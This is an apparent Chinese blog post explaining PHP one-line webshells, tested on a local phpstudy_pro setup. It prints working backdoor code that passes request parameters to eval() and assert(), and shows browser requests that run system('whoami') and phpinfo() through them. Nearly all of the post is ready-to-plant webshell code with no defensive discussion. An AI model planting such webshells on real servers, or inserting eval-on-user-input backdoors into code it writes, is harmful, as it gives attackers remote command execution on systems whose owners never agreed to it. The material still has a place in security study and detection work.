PHP一句话木马

环境:phpstudy_pro

eval()函数

命令执行脚本:

//hacker.php
<?php
eval($_GET["cmd"]);
?>

浏览器访问:http://127.0.0.1/hacker.php?cmd=system('whoami');

传入的参数必须为PHP代码,既需要以分号结尾。
命令執行:cmd=system(whoami);

post方式:

<?php @eval($_POST['cmd']);?>

assert()函数

命令执行脚本:

//assert.php
<?php
@assert($_GET['cmd']);
?>

浏览器访问:http://127.0.0.1/assert.php?cmd=system("whoami")

assert函数是直接将传入的参数当成PHP代码直接,不需要以分号结尾,当然你加上也可以。
命令執行:cmd=system(whoami)

获取phpinfo信息:

<?php
//hacker.php
eval($_GET["cmd"]);
?>

浏览器访问:http://127.0.0.1/hacker.php?cmd=phpinfo();

// phpinfo.php
<?php
phpinfo()
?>

浏览器访问:http://127.0.0.1/phpinfo.php

参考:https://www.cnblogs.com/bugxf/p/16015227.html

posted @   权杖攻城狮  阅读(31)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 分享4款.NET开源、免费、实用的商城系统
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了
· 记一次.NET内存居高不下排查解决与启示
点击右上角即可分享
微信分享提示

目录导航